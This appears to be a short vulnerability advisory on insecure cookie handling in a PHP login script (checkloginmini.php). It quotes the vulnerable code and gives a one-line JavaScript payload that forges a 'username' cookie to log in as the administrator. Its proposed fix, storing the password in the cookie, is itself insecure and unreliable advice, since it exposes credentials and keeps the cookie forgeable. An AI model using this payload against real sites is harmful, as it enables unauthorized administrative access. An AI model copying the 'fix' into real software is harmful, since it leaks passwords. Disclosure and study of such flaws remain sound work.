[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/checkloginmini.php

[CODE]

    if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
        // authentication was successful
        // create session and set cookie with username
        session_start();
        $_SESSION['auth'] = 1;
     
        setcookie("username", $_POST['txtusername'], time()+(86400*30));

[/CODE]

If we log in correctly, a cookie is set with name "username" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("username", $_POST['txtpassword'], time()+(86400*30)); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "username=admin_username; path=/";
             *admin_username is the nick of the administrator
